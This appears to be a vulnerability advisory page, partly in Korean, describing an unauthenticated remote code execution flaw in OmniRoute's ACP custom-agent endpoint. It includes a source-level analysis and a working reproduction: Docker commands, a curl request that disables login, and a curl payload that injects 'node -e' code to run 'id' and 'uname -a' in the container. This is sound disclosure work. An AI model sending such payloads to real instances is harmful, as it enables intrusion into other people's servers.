OmniRoute ACP Custom-Agent Remote Code Execution (RCE)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
- Summary
POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled
binary and versionCommand values. After saving the custom agent, the same request calls
refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:
1execFileSync(probe.command, probe.args, ...)The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the
first token of versionCommand matches the request-provided binary. Because binary is also
attacker-controlled, an attacker can submit:
1{ 2 "binary": "node", 3 "versionCommand": "node -e \"...arbitrary JavaScript...\"" 4}This executes arbitrary Node.js code inside the server container, and that code can execute OS
commands via child_process.execSync().
When requireLogin=false, isAuthenticated() treats anonymous requests as authenticated. At the
same time, /api/acp/ is not included in LOCAL_ONLY_API_PREFIXES or SPAWN_CAPABLE_PREFIXES, so
the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.
As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a
single HTTP request.
- Preconditions
The unauthenticated exploit is reachable in either of the following scenarios:
- The target instance has
requireLogin=false. This is the primary scenario covered by this
report and by the reproduction steps below. - A fresh instance has no management password configured yet. During this bootstrap window,
/api/settings/require-loginallows unauthenticated setup writes, so an attacker can first set
requireLogin=falseand then call the vulnerable endpoint.
If the instance is in the default requireLogin=true state and already has a management password,
exploitation requires a valid management session or management-scoped API key. In that case, the
bug is authenticated RCE rather than the unauthenticated scenario emphasized here.
- Technical Analysis
4.1 The Endpoint Accepts User-Controlled Command Fields
src/app/api/acp/agents/route.ts:15-24 defines a request schema that accepts binary,
versionCommand, and spawnArgs:
1const customAgentBodySchema = z.object({ 2 action: z.string().optional(), 3 id: z.string().optional(), 4 name: z.string().optional(), 5 binary: z.string().optional(), 6 versionCommand: z.string().optional(), 7 providerAlias: z.string().optional(), 8 spawnArgs: z.array(z.string()).optional(), 9 protocol: z.enum(["stdio", "http"]).optional(),10});The POST handler at src/app/api/acp/agents/route.ts:58-61 only calls isAuthenticated():
1export async function POST(request: Request) { 2 if (!(await isAuthenticated(request))) { 3 return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); 4 }The handler then stores binary and versionCommand in the custom agent definition without an
executable allowlist:
1const newAgent: CustomAgentDef = { 2 id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"), 3 name, 4 binary, 5 versionCommand, 6 providerAlias: providerAlias || id, 7 spawnArgs: spawnArgs || [], 8 protocol: protocol || "stdio", 9};This logic is in src/app/api/acp/agents/route.ts:92-100.
4.2 The Only Guard Is a Self-Consistency Check
The only command validation in the route is at src/app/api/acp/agents/route.ts:102-107:
1if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) { 2 return NextResponse.json( 3 { error: "Invalid versionCommand: use the configured binary with plain arguments only" }, 4 { status: 400 } 5 ); 6}The core logic of resolveVersionProbe() is in src/lib/acp/registry.ts:261-288:
1export function resolveVersionProbe( 2 binary: string, 3 versionCommand: string, 4 requireBinaryMatch = false 5): { command: string; args: string[] } | null { 6 const tokens = tokenizeVersionCommand(versionCommand); 7 if (!tokens) { 8 return null; 9 }10 11 const [command, ...args] = tokens;12 if (!command) {13 return null;14 }15 16 if (requireBinaryMatch) {17 const normalizedCommand = normalizeCommandToken(command);18 const allowed = new Set([19 normalizeCommandToken(binary),20 normalizeCommandToken(path.basename(binary)),21 ]);22 if (!allowed.has(normalizedCommand)) {23 return null;24 }25 }26 27 return { command, args };28}This check only requires the first token of versionCommand to equal binary or
path.basename(binary). Since binary is also attacker-controlled, binary="node" and
versionCommand="node -e \"...\"" pass validation.
tokenizeVersionCommand() only blocks a small set of shell metacharacters
(src/lib/acp/registry.ts:183-254):
1const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/;This does not prevent node -e code execution, because characters needed for the payload, such as
(, ), ', ., /, ,, and spaces, are allowed.
4.3 The Same Request Immediately Triggers Command Execution
After saving the custom agent, the route calls refreshAgentCache() at
src/app/api/acp/agents/route.ts:121-127:
1const updated = [...current, newAgent]; 2await updateSettings({ customAgents: updated }); 3setCustomAgents(updated); 4 5const agents = refreshAgentCache(); 6return NextResponse.json({ agents, added: newAgent });refreshAgentCache() is defined at src/lib/acp/registry.ts:366-369:
1export function refreshAgentCache(): CliAgentInfo[] { 2 _cachedAgents = null; 3 return detectInstalledAgents(); 4}detectInstalledAgents() merges built-in and custom agents and calls detectAgent() for each one
(src/lib/acp/registry.ts:342-360):
1const allDefs = [ 2 ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })), 3 ..._customAgentDefs.map((d) => ({ ...d, _custom: true })), 4]; 5 6_cachedAgents = allDefs.map((def) => { 7 const { _custom, ...rest } = def; 8 return detectAgent(rest, _custom); 9});The command execution sink is at src/lib/acp/registry.ts:307-325:
1const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom); 2if (!probe) { 3 return { ...def, version, installed, isCustom }; 4} 5 6const output = execFileSync(probe.command, probe.args, { 7 timeout: 5000, 8 encoding: "utf-8", 9 stdio: ["pipe", "pipe", "pipe"],10 ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),11}).trim();On Linux containers, shouldUseShellForVersionProbe() returns false for non-Windows platforms
(src/lib/acp/registry.ts:290-301):
1export function shouldUseShellForVersionProbe( 2 command: string, 3 platform = process.platform 4): boolean { 5 if (platform !== "win32") return false; 6 ... 7}Therefore the effective execution is execFileSync("node", ["-e", "..."]). No shell
metacharacters are required.
4.4 Why This Is Unauthenticated
isAuthenticated() is defined at src/shared/utils/apiAuth.ts:285-302:
1export async function isAuthenticated(request: Request): Promise<boolean> { 2 if (!(await isAuthRequired(request))) { 3 return true; 4 } 5 ... 6}isAuthRequired() returns false when requireLogin=false
(src/shared/utils/apiAuth.ts:317-323):
1const settings = await getSettings(); 2if (settings.requireLogin === false) return false;The centralized management policy also has the same anonymous allow branch at
src/server/authz/policies/management.ts:223-226:
1if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) { 2 return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" }); 3}Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.
src/server/authz/routeGuard.ts:29-45 lists LOCAL_ONLY prefixes such as /api/mcp/,
/api/cli-tools/runtime/, /api/services/, /api/tools/agent-bridge/, and /api/plugins/, but
it does not include /api/acp/:
1export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [ 2 "/api/mcp/", 3 "/api/cli-tools/runtime/", 4 "/api/services/", 5 "/dashboard/providers/services/", 6 "/api/copilot/", 7 "/api/tools/agent-bridge/", 8 "/api/tools/traffic-inspector/", 9 "/api/plugins/",10 "/api/plugins",11 "/api/system/version",12 "/api/db-backups/exportAll",13 "/api/local/",14 "/api/headroom/start",15 "/api/headroom/stop",16 "/api/oauth/cursor/auto-import",17];SPAWN_CAPABLE_PREFIXES also omits /api/acp/
(src/shared/constants/spawnCapablePrefixes.ts:26-35).
This means /api/acp/agents reaches the anonymous allow branch when requireLogin=false instead
of being rejected by the LOCAL_ONLY gate.
- Reproduction Environment
The issue can be reproduced in a local Docker environment:
- OmniRoute image:
diegosouzapw/omniroute:latest - Exposed port:
20128 - Container data directory:
/app/data - PoC behavior: runs only read-only commands (
idanduname -a) and writes their output to
/app/data/UNAUTH_RCE_PROOF.txt
- Reproduction Steps
6.1 Start a Test Instance
1JWT=$(openssl rand -base64 48) 2AKS=$(openssl rand -hex 32) 3 4docker network create omniroute-poc-net 5docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine 6docker run -d --name omniroute-poc --network omniroute-poc-net \ 7 -p 20128:20128 -p 20129:20129 \ 8 -e JWT_SECRET="$JWT" \ 9 -e API_KEY_SECRET="$AKS" \10 -e REDIS_URL="redis://omniroute-poc-redis:6379" \11 diegosouzapw/omniroute:latestWait for startup:
1until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \ 2 curl -sf http://localhost:20128/ >/dev/null 2>&1; do 3 sleep 2 4done6.2 Put the Instance in the Login-Disabled State
This step models a self-hosted instance where dashboard login has been disabled:
1curl -s -X POST "http://localhost:20128/api/settings/require-login" \ 2 -H "content-type: application/json" \ 3 -d '{"requireLogin":false}'If the target is already in requireLogin=false, this step is not needed.
6.3 Trigger RCE Anonymously
The following request sends no cookie and no Bearer token:
1curl -s -X POST "http://localhost:20128/api/acp/agents" \ 2 -H "content-type: application/json" \ 3 -d '{ 4 "id":"anonrce", 5 "name":"anonrce", 6 "binary":"node", 7 "protocol":"stdio", 8 "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\"" 9 }'6.4 Verify Command Execution
1docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txtExpected output is similar to:
1uid=1000(node) gid=1000(node) groups=1000(node) 2Linux <container-id> <kernel-version> ... <arch> GNU/LinuxThis proves that the anonymous HTTP request executed id and uname -a inside the OmniRoute
container.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.